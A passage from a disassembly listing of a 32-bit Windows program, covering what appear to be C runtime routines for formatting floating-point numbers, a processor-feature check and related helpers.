and eax, 80000000h
xor ecx, ecx
or ecx, eax
jz short loc_4192B8
mov byte ptr [esi], 2Dh
inc esi
loc_4192B8: ; CODE XREF: sub_41917C+136j
mov ebx, [ebp+arg_10]
mov byte ptr [esi], 30h
inc esi
test ebx, ebx
setz al
dec al
and al, 0E0h
add al, 78h
mov [esi], al
mov ecx, [edi+4]
inc esi
neg ebx
sbb ebx, ebx
and ebx, 0FFFFFFE0h
and ecx, 7FF00000h
xor eax, eax
add ebx, 27h
xor edx, edx
or eax, ecx
jnz short loc_419309
mov byte ptr [esi], 30h
mov ecx, [edi+4]
mov eax, [edi]
and ecx, 0FFFFFh
inc esi
or eax, ecx
jnz short loc_419300
mov [ebp+var_14], edx
jmp short loc_41930D
; ---------------------------------------------------------------------------
loc_419300: ; CODE XREF: sub_41917C+17Dj
mov [ebp+var_14], 3FEh
jmp short loc_41930D
; ---------------------------------------------------------------------------
loc_419309: ; CODE XREF: sub_41917C+16Aj
mov byte ptr [esi], 31h
inc esi
loc_41930D: ; CODE XREF: sub_41917C+182j
; sub_41917C+18Bj
mov eax, esi
inc esi
mov [ebp+arg_4], eax
cmp [ebp+arg_C], edx
jnz short loc_41931C
mov [eax], dl
jmp short loc_41932B
; ---------------------------------------------------------------------------
loc_41931C: ; CODE XREF: sub_41917C+19Aj
mov ecx, [ebp+var_24]
mov ecx, [ecx+0BCh]
mov ecx, [ecx]
mov cl, [ecx]
mov [eax], cl
loc_41932B: ; CODE XREF: sub_41917C+19Ej
mov ecx, [edi+4]
mov eax, [edi]
and ecx, 0FFFFFh
mov [ebp+var_8], ecx
ja short loc_419343
cmp eax, edx
jbe loc_4193F8
loc_419343: ; CODE XREF: sub_41917C+1BDj
mov [ebp+var_C], edx
mov [ebp+var_8], 0F0000h
loc_41934D: ; CODE XREF: sub_41917C+222j
cmp [ebp+arg_C], 0
jle short loc_4193A0
mov edx, [edi+4]
and edx, [ebp+var_8]
mov eax, [edi]
movsx ecx, word ptr [ebp+var_4]
and eax, [ebp+var_C]
and edx, 0FFFFFh
call sub_419D20
add ax, 30h
movzx eax, ax
cmp ax, 39h
jbe short loc_41937C
add eax, ebx
loc_41937C: ; CODE XREF: sub_41917C+1FCj
mov ecx, [ebp+var_8]
sub [ebp+var_4], 4
mov [esi], al
mov eax, [ebp+var_C]
shrd eax, ecx, 4
shr ecx, 4
inc esi
dec [ebp+arg_C]
cmp word ptr [ebp+var_4], 0
mov [ebp+var_C], eax
mov [ebp+var_8], ecx
jge short loc_41934D
loc_4193A0: ; CODE XREF: sub_41917C+1D5j
cmp word ptr [ebp+var_4], 0
jl short loc_4193F8
mov edx, [edi+4]
and edx, [ebp+var_8]
mov eax, [edi]
movsx ecx, word ptr [ebp+var_4]
and eax, [ebp+var_C]
and edx, 0FFFFFh
call sub_419D20
cmp ax, 8
jbe short loc_4193F8
lea eax, [esi-1]
loc_4193CA: ; CODE XREF: sub_41917C+25Ej
mov cl, [eax]
cmp cl, 66h
jz short loc_4193D6
cmp cl, 46h
jnz short loc_4193DC
loc_4193D6: ; CODE XREF: sub_41917C+253j
mov byte ptr [eax], 30h
dec eax
jmp short loc_4193CA
; ---------------------------------------------------------------------------
loc_4193DC: ; CODE XREF: sub_41917C+258j
cmp eax, [ebp+arg_4]
jz short loc_4193F5
mov cl, [eax]
cmp cl, 39h
jnz short loc_4193EF
add bl, 3Ah
mov [eax], bl
jmp short loc_4193F8
; ---------------------------------------------------------------------------
loc_4193EF: ; CODE XREF: sub_41917C+26Aj
inc cl
mov [eax], cl
jmp short loc_4193F8
; ---------------------------------------------------------------------------
loc_4193F5: ; CODE XREF: sub_41917C+263j
inc byte ptr [eax-1]
loc_4193F8: ; CODE XREF: sub_41917C+1C1j
; sub_41917C+229j ...
cmp [ebp+arg_C], 0
jle short loc_41940F
push [ebp+arg_C]
push 30h
push esi
call sub_40BD40
add esp, 0Ch
add esi, [ebp+arg_C]
loc_41940F: ; CODE XREF: sub_41917C+280j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_419419
mov esi, eax
loc_419419: ; CODE XREF: sub_41917C+299j
cmp [ebp+arg_10], 0
mov cl, 34h
setz al
dec al
and al, 0E0h
add al, 70h
mov [esi], al
mov eax, [edi]
mov edx, [edi+4]
inc esi
call sub_419D20
xor ebx, ebx
and eax, 7FFh
and edx, ebx
sub eax, [ebp+var_14]
push ebx
pop ecx
sbb edx, ecx
js short loc_419453
jg short loc_41944D
cmp eax, ebx
jb short loc_419453
loc_41944D: ; CODE XREF: sub_41917C+2CBj
mov byte ptr [esi], 2Bh
inc esi
jmp short loc_41945D
; ---------------------------------------------------------------------------
loc_419453: ; CODE XREF: sub_41917C+2C9j
; sub_41917C+2CFj
mov byte ptr [esi], 2Dh
inc esi
neg eax
adc edx, ebx
neg edx
loc_41945D: ; CODE XREF: sub_41917C+2D5j
cmp edx, ebx
mov edi, esi
mov byte ptr [esi], 30h
jl short loc_41948A
mov ecx, 3E8h
jg short loc_419471
cmp eax, ecx
jb short loc_41948A
loc_419471: ; CODE XREF: sub_41917C+2EFj
push ebx
push ecx
push edx
push eax
call sub_419C40
add al, 30h
mov [esi], al
inc esi
mov [ebp+var_10], edx
mov eax, ecx
mov edx, ebx
cmp esi, edi
jnz short loc_419495
loc_41948A: ; CODE XREF: sub_41917C+2E8j
; sub_41917C+2F3j
test edx, edx
jl short loc_4194AC
jg short loc_419495
cmp eax, 64h
jb short loc_4194AC
loc_419495: ; CODE XREF: sub_41917C+30Cj
; sub_41917C+312j
push 0
push 64h
push edx
push eax
call sub_419C40
add al, 30h
mov [esi], al
mov [ebp+var_10], edx
inc esi
mov eax, ecx
mov edx, ebx
loc_4194AC: ; CODE XREF: sub_41917C+310j
; sub_41917C+317j
cmp esi, edi
jnz short loc_4194BB
test edx, edx
jl short loc_4194D3
jg short loc_4194BB
cmp eax, 0Ah
jb short loc_4194D3
loc_4194BB: ; CODE XREF: sub_41917C+332j
; sub_41917C+338j
push 0
push 0Ah
push edx
push eax
call sub_419C40
add al, 30h
mov [esi], al
mov [ebp+var_10], edx
inc esi
mov eax, ecx
mov [ebp+var_10], ebx
loc_4194D3: ; CODE XREF: sub_41917C+336j
; sub_41917C+33Dj
add al, 30h
mov [esi], al
mov byte ptr [esi+1], 0
loc_4194DB: ; CODE XREF: sub_41917C+10Dj
; sub_41917C+128j
cmp [ebp+var_18], 0
jz short loc_4194E8
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4194E8: ; CODE XREF: sub_41917C+363j
xor eax, eax
loc_4194EA: ; CODE XREF: sub_41917C+D2j
; sub_41917C+DFj
pop ebx
loc_4194EB: ; CODE XREF: sub_41917C+5Aj
pop edi
pop esi
leave
retn
sub_41917C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4194EF proc near ; CODE XREF: sub_4195E6+A4p
; sub_4196A1+C5p
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
push [ebp+arg_C]
mov ebx, eax
mov esi, [ebx+4]
mov edi, ecx
lea ecx, [ebp+var_10]
dec esi
call sub_40C799
test edi, edi
jnz short loc_41953E
loc_419511: ; CODE XREF: sub_4194EF+53j
call sub_40C862
push 16h
pop esi
mov [eax], esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40B255
add esp, 14h
cmp [ebp+var_4], 0
jz short loc_419537
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_419537: ; CODE XREF: sub_4194EF+3Fj
mov eax, esi
jmp loc_4195E1
; ---------------------------------------------------------------------------
loc_41953E: ; CODE XREF: sub_4194EF+20j
cmp [ebp+arg_0], 0
jbe short loc_419511
cmp [ebp+arg_8], 0
jz short loc_419562
cmp esi, [ebp+arg_4]
jnz short loc_419562
xor eax, eax
cmp dword ptr [ebx], 2Dh
setz al
add eax, esi
add eax, edi
mov byte ptr [eax], 30h
mov byte ptr [eax+1], 0
loc_419562: ; CODE XREF: sub_4194EF+59j
; sub_4194EF+5Ej
cmp dword ptr [ebx], 2Dh
mov esi, edi
jnz short loc_41956F
mov byte ptr [edi], 2Dh
lea esi, [edi+1]
loc_41956F: ; CODE XREF: sub_4194EF+78j
mov eax, [ebx+4]
xor edi, edi
inc edi
test eax, eax
jg short loc_419586
mov eax, esi
call sub_418ED8
mov byte ptr [esi], 30h
inc esi
jmp short loc_419588
; ---------------------------------------------------------------------------
loc_419586: ; CODE XREF: sub_4194EF+88j
add esi, eax
loc_419588: ; CODE XREF: sub_4194EF+95j
cmp [ebp+arg_4], 0
jle short loc_4195D2
mov eax, esi
call sub_418ED8
mov eax, [ebp+var_10]
mov eax, [eax+0BCh]
mov eax, [eax]
mov al, [eax]
mov [esi], al
mov ebx, [ebx+4]
inc esi
test ebx, ebx
jge short loc_4195D2
neg ebx
cmp [ebp+arg_8], 0
jnz short loc_4195B9
cmp [ebp+arg_4], ebx
jl short loc_4195BC
loc_4195B9: ; CODE XREF: sub_4194EF+C3j
mov [ebp+arg_4], ebx
loc_4195BC: ; CODE XREF: sub_4194EF+C8j
mov edi, [ebp+arg_4]
mov eax, esi
call sub_418ED8
push edi
push 30h
push esi
call sub_40BD40
add esp, 0Ch
loc_4195D2: ; CODE XREF: sub_4194EF+9Dj
; sub_4194EF+BBj
cmp [ebp+var_4], 0
jz short loc_4195DF
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4195DF: ; CODE XREF: sub_4194EF+E7j
xor eax, eax
loc_4195E1: ; CODE XREF: sub_4194EF+4Aj
pop edi
pop esi
pop ebx
leave
retn
sub_4194EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4195E6 proc near ; CODE XREF: sub_41979B+26p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
push 16h
pop esi
push esi
lea ecx, [ebp+var_1C]
push ecx
lea ecx, [ebp+var_2C]
push ecx
push dword ptr [eax+4]
push dword ptr [eax]
call sub_419BA4
xor ebx, ebx
add esp, 14h
cmp edi, ebx
jnz short loc_419638
loc_419620: ; CODE XREF: sub_4195E6+57j
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov [eax], esi
call sub_40B255
add esp, 14h
mov eax, esi
jmp short loc_419692
; ---------------------------------------------------------------------------
loc_419638: ; CODE XREF: sub_4195E6+38j
mov eax, [ebp+arg_8]
cmp eax, ebx
jbe short loc_419620
cmp eax, 0FFFFFFFFh
jnz short loc_419648
or eax, eax
jmp short loc_419653
; ---------------------------------------------------------------------------
loc_419648: ; CODE XREF: sub_4195E6+5Cj
xor ecx, ecx
cmp [ebp+var_2C], 2Dh
setz cl
sub eax, ecx
loc_419653: ; CODE XREF: sub_4195E6+60j
mov esi, [ebp+arg_C]
lea ecx, [ebp+var_2C]
push ecx
mov ecx, [ebp+var_28]
add ecx, esi
push ecx
push eax
xor eax, eax
cmp [ebp+var_2C], 2Dh
setz al
add eax, edi
push eax
call sub_419A28
add esp, 10h
cmp eax, ebx
jz short loc_41967D
mov [edi], bl
jmp short loc_419692
; ---------------------------------------------------------------------------
loc_41967D: ; CODE XREF: sub_4195E6+91j
push [ebp+arg_10]
lea eax, [ebp+var_2C]
push ebx
push esi
push [ebp+arg_8]
mov ecx, edi
call sub_4194EF
add esp, 10h
loc_419692: ; CODE XREF: sub_4195E6+50j
; sub_4195E6+95j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_4195E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196A1 proc near ; CODE XREF: sub_41979B+4Cp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 30h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 16h
pop edi
push edi
lea ecx, [ebp+var_1C]
push ecx
lea ecx, [ebp+var_30]
push ecx
push dword ptr [eax+4]
push dword ptr [eax]
call sub_419BA4
xor ebx, ebx
add esp, 14h
cmp esi, ebx
jnz short loc_4196F6
loc_4196DB: ; CODE XREF: sub_4196A1+5Aj
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov [eax], edi
call sub_40B255
add esp, 14h
mov eax, edi
jmp loc_41978C
; ---------------------------------------------------------------------------
loc_4196F6: ; CODE XREF: sub_4196A1+38j
mov ecx, [ebp+arg_8]
cmp ecx, ebx
jbe short loc_4196DB
mov eax, [ebp+var_2C]
dec eax
mov [ebp+var_20], eax
xor eax, eax
cmp [ebp+var_30], 2Dh
setz al
lea edi, [eax+esi]
cmp ecx, 0FFFFFFFFh
jnz short loc_419719
or ecx, ecx
jmp short loc_41971B
; ---------------------------------------------------------------------------
loc_419719: ; CODE XREF: sub_4196A1+72j
sub ecx, eax
loc_41971B: ; CODE XREF: sub_4196A1+76j
lea eax, [ebp+var_30]
push eax
push [ebp+arg_C]
push ecx
push edi
call sub_419A28
add esp, 10h
cmp eax, ebx
jz short loc_419734
mov [esi], bl
jmp short loc_41978C
; ---------------------------------------------------------------------------
loc_419734: ; CODE XREF: sub_4196A1+8Dj
mov eax, [ebp+var_2C]
dec eax
cmp [ebp+var_20], eax
setl cl
cmp eax, 0FFFFFFFCh
jl short loc_419770
cmp eax, [ebp+arg_C]
jge short loc_419770
cmp cl, bl
jz short loc_419756
loc_41974C: ; CODE XREF: sub_4196A1+B0j
mov al, [edi]
inc edi
test al, al
jnz short loc_41974C
mov [edi-2], bl
loc_419756: ; CODE XREF: sub_4196A1+A9j
push [ebp+arg_14]
lea eax, [ebp+var_30]
push 1
push [ebp+arg_C]
mov ecx, esi
push [ebp+arg_8]
call sub_4194EF
add esp, 10h
jmp short loc_41978C
; ---------------------------------------------------------------------------
loc_419770: ; CODE XREF: sub_4196A1+A0j
; sub_4196A1+A5j
push [ebp+arg_14]
lea eax, [ebp+var_30]
push 1
push eax
push [ebp+arg_10]
mov eax, esi
push [ebp+arg_C]
push [ebp+arg_8]
call sub_418F1D
add esp, 18h
loc_41978C: ; CODE XREF: sub_4196A1+50j
; sub_4196A1+91j ...
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_4196A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41979B proc near ; CODE XREF: sub_419823+19p
; DATA XREF: sub_418C38+37o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
cmp eax, 65h
jz short loc_419807
cmp eax, 45h
jz short loc_419807
cmp eax, 66h
jnz short loc_4197CB
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4195E6
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4197CB: ; CODE XREF: sub_41979B+15j
cmp eax, 61h
jz short loc_4197EE
cmp eax, 41h
jz short loc_4197EE
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4196A1
jmp short loc_41981E
; ---------------------------------------------------------------------------
loc_4197EE: ; CODE XREF: sub_41979B+33j
; sub_41979B+38j
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41917C
jmp short loc_41981E
; ---------------------------------------------------------------------------
loc_419807: ; CODE XREF: sub_41979B+Bj
; sub_41979B+10j
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41908C
loc_41981E: ; CODE XREF: sub_41979B+51j
; sub_41979B+6Aj
add esp, 18h
pop ebp
retn
sub_41979B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419823 proc near ; DATA XREF: sub_418C38o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41979B
add esp, 1Ch
pop ebp
retn
sub_419823 endp
; =============== S U B R O U T I N E =======================================
sub_419846 proc near ; CODE XREF: sub_418C98+1Ap
mov edi, edi
push esi
push 30000h
push 10000h
xor esi, esi
push esi
call sub_419D3F
add esp, 0Ch
test eax, eax
jz short loc_41986F
push esi
push esi
push esi
push esi
push esi
call sub_40B12D
add esp, 14h
loc_41986F: ; CODE XREF: sub_419846+1Aj
pop esi
retn
sub_419846 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419871 proc near ; CODE XREF: sub_4198AF:loc_4198D3j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
mov edi, edi
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_424D20
fstp [ebp+var_10]
fld dbl_424D18
fstp [ebp+var_18]
fld [ebp+var_18]
fdiv [ebp+var_10]
fmul [ebp+var_10]
fsubr [ebp+var_18]
fstp [ebp+var_8]
fld1
fcomp [ebp+var_8]
fnstsw ax
test ah, 5
jp short loc_4198AB
xor eax, eax
inc eax
leave
retn
; ---------------------------------------------------------------------------
loc_4198AB: ; CODE XREF: sub_419871+33j
xor eax, eax
leave
retn
sub_419871 endp
; =============== S U B R O U T I N E =======================================
sub_4198AF proc near ; CODE XREF: sub_418C98+Ap
push offset aKernel32 ; "KERNEL32"
call dword_41D224 ; GetModuleHandleA
test eax, eax
jz short loc_4198D3
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_41D0D8 ; GetProcAddress
test eax, eax
jz short loc_4198D3
push 0
call eax
retn
; ---------------------------------------------------------------------------
loc_4198D3: ; CODE XREF: sub_4198AF+Dj
; sub_4198AF+1Dj
jmp sub_419871
sub_4198AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198D8 proc near ; CODE XREF: sub_418E7C+17p
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 28h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push [ebp+arg_8]
mov edi, [ebp+arg_4]
lea ecx, [ebp+var_24]
call sub_40C799
lea eax, [ebp+var_24]
push eax
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41A833
mov [ebp+var_14], eax
lea eax, [ebp+var_10]
push esi
push eax
call sub_419DAB
add esp, 28h
test byte ptr [ebp+var_14], 3
jnz short loc_419957
cmp eax, 1
jnz short loc_419942
loc_419931: ; CODE XREF: sub_4198D8+89j
cmp [ebp+var_18], bl
jz short loc_41993D
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41993D: ; CODE XREF: sub_4198D8+5Cj
push 3
loc_41993F: ; CODE XREF: sub_4198D8+7Dj
pop eax
jmp short loc_419971
; ---------------------------------------------------------------------------
loc_419942: ; CODE XREF: sub_4198D8+57j
cmp eax, 2
jnz short loc_419963
loc_419947: ; CODE XREF: sub_4198D8+83j
cmp [ebp+var_18], bl
jz short loc_419953
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_419953: ; CODE XREF: sub_4198D8+72j
push 4
jmp short loc_41993F
; ---------------------------------------------------------------------------
loc_419957: ; CODE XREF: sub_4198D8+52j
test byte ptr [ebp+var_14], 1
jnz short loc_419947
test byte ptr [ebp+var_14], 2
jnz short loc_419931
loc_419963: ; CODE XREF: sub_4198D8+6Dj
cmp [ebp+var_18], bl
jz short loc_41996F
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41996F: ; CODE XREF: sub_4198D8+8Ej
xor eax, eax
loc_419971: ; CODE XREF: sub_4198D8+68j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_4198D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419980 proc near ; CODE XREF: sub_418E7C+30p
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 28h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push [ebp+arg_8]
mov edi, [ebp+arg_4]
lea ecx, [ebp+var_24]
call sub_40C799
lea eax, [ebp+var_24]
push eax
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41A833
mov [ebp+var_14], eax
lea eax, [ebp+var_10]
push esi
push eax
call sub_41A2EF
add esp, 28h
test byte ptr [ebp+var_14], 3
jnz short loc_4199FF
cmp eax, 1
jnz short loc_4199EA
loc_4199D9: ; CODE XREF: sub_419980+89j
cmp [ebp+var_18], bl
jz short loc_4199E5
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4199E5: ; CODE XREF: sub_419980+5Cj
push 3
loc_4199E7: ; CODE XREF: sub_419980+7Dj
pop eax
jmp short loc_419A19
; ---------------------------------------------------------------------------
loc_4199EA: ; CODE XREF: sub_419980+57j
cmp eax, 2
jnz short loc_419A0B
loc_4199EF: ; CODE XREF: sub_419980+83j
cmp [ebp+var_18], bl
jz short loc_4199FB
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4199FB: ; CODE XREF: sub_419980+72j
push 4
jmp short loc_4199E7
; ---------------------------------------------------------------------------
loc_4199FF: ; CODE XREF: sub_419980+52j
test byte ptr [ebp+var_14], 1
jnz short loc_4199EF
test byte ptr [ebp+var_14], 2
jnz short loc_4199D9
loc_419A0B: ; CODE XREF: sub_419980+6Dj
cmp [ebp+var_18], bl
jz short loc_419A17
mov eax, [ebp+var_1C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_419A17: ; CODE XREF: sub_419980+8Ej
xor eax, eax
loc_419A19: ; CODE XREF: sub_419980+68j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_419980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A28 proc near ; CODE XREF: sub_41908C+98p
; sub_4195E6+87p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_C]
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
push edi
mov edi, [ecx+0Ch]
cmp esi, ebx
jnz short loc_419A5D
loc_419A3F: ; CODE XREF: sub_419A28+38j
call sub_40C862
push 16h
pop esi
mov [eax], esi
loc_419A49: ; CODE XREF: sub_419A28+5Bj
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B255
add esp, 14h
mov eax, esi
jmp loc_419AE2
; ---------------------------------------------------------------------------
loc_419A5D: ; CODE XREF: sub_419A28+15j
cmp [ebp+arg_4], ebx
jbe short loc_419A3F
mov edx, [ebp+arg_8]
cmp edx, ebx
mov [esi], bl
jle short loc_419A6F
mov eax, edx
jmp short loc_419A71
; ---------------------------------------------------------------------------
loc_419A6F: ; CODE XREF: sub_419A28+41j
xor eax, eax
loc_419A71: ; CODE XREF: sub_419A28+45j
inc eax
cmp [ebp+arg_4], eax
ja short loc_419A85
call sub_40C862
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_419A49
; ---------------------------------------------------------------------------
loc_419A85: ; CODE XREF: sub_419A28+4Dj
cmp edx, ebx
mov byte ptr [esi], 30h
lea eax, [esi+1]
jle short loc_419AA9
loc_419A8F: ; CODE XREF: sub_419A28+7Cj
mov cl, [edi]
cmp cl, bl
jz short loc_419A9B
movsx ecx, cl
inc edi
jmp short loc_419A9E
; ---------------------------------------------------------------------------
loc_419A9B: ; CODE XREF: sub_419A28+6Bj
push 30h
pop ecx
loc_419A9E: ; CODE XREF: sub_419A28+71j
mov [eax], cl
inc eax
dec edx
cmp edx, ebx
jg short loc_419A8F
mov ecx, [ebp+arg_C]
loc_419AA9: ; CODE XREF: sub_419A28+65j
cmp edx, ebx
mov [eax], bl
jl short loc_419AC1
cmp byte ptr [edi], 35h
jl short loc_419AC1
jmp short loc_419AB9
; ---------------------------------------------------------------------------
loc_419AB6: ; CODE XREF: sub_419A28+95j
mov byte ptr [eax], 30h
loc_419AB9: ; CODE XREF: sub_419A28+8Cj
dec eax
cmp byte ptr [eax], 39h
jz short loc_419AB6
inc byte ptr [eax]
loc_419AC1: ; CODE XREF: sub_419A28+85j
; sub_419A28+8Aj
cmp byte ptr [esi], 31h
jnz short loc_419ACB
inc dword ptr [ecx+4]
jmp short loc_419AE0
; ---------------------------------------------------------------------------
loc_419ACB: ; CODE XREF: sub_419A28+9Cj
lea edi, [esi+1]
push edi
call sub_40BFB0
inc eax
push eax
push edi
push esi
call sub_40CA30
add esp, 10h
loc_419AE0: ; CODE XREF: sub_419A28+A1j
xor eax, eax
loc_419AE2: ; CODE XREF: sub_419A28+30j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419A28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AE7 proc near ; CODE XREF: sub_419BA4+26p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
movzx eax, word ptr [edx+6]
push ebx
mov ecx, eax
push esi
push edi
shr ecx, 4
and eax, 8000h
mov edi, 7FFh
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
mov [ebp+var_4], esi
test ebx, ebx
jz short loc_419B37
cmp ebx, edi
jz short loc_419B30
add ecx, 3C00h
jmp short loc_419B58
; ---------------------------------------------------------------------------
loc_419B30: ; CODE XREF: sub_419AE7+3Fj
mov edi, 7FFFh
jmp short loc_419B5B
; ---------------------------------------------------------------------------
loc_419B37: ; CODE XREF: sub_419AE7+3Bj
xor ebx, ebx
cmp eax, ebx
jnz short loc_419B4F
cmp edx, ebx
jnz short loc_419B4F
mov eax, [ebp+arg_0]
mov cx, word ptr [ebp+arg_4]
mov [eax+4], ebx
mov [eax], ebx
jmp short loc_419B9B
; ---------------------------------------------------------------------------
loc_419B4F: ; CODE XREF: sub_419AE7+54j
; sub_419AE7+58j
add ecx, 3C01h
mov [ebp+var_4], ebx
loc_419B58: ; CODE XREF: sub_419AE7+47j
movzx edi, cx
loc_419B5B: ; CODE XREF: sub_419AE7+4Ej
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
or ecx, [ebp+var_4]
mov eax, [ebp+arg_0]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
test ecx, esi
jnz short loc_419B96
loc_419B77: ; CODE XREF: sub_419AE7+ADj
mov ecx, [eax]
mov edx, [eax+4]
mov ebx, ecx
add edx, edx
shr ebx, 1Fh
or edx, ebx
add ecx, ecx
add edi, 0FFFFh
mov [eax+4], edx
mov [eax], ecx
test edx, esi
jz short loc_419B77
loc_419B96: ; CODE XREF: sub_419AE7+8Ej
mov ecx, [ebp+arg_4]
or ecx, edi
loc_419B9B: ; CODE XREF: sub_419AE7+66j
pop edi
pop esi
mov [eax+8], cx
pop ebx
leave
retn
sub_419AE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419BA4 proc near ; CODE XREF: sub_41908C+2Cp
; sub_4195E6+2Cp ...
var_30 = dword ptr -30h
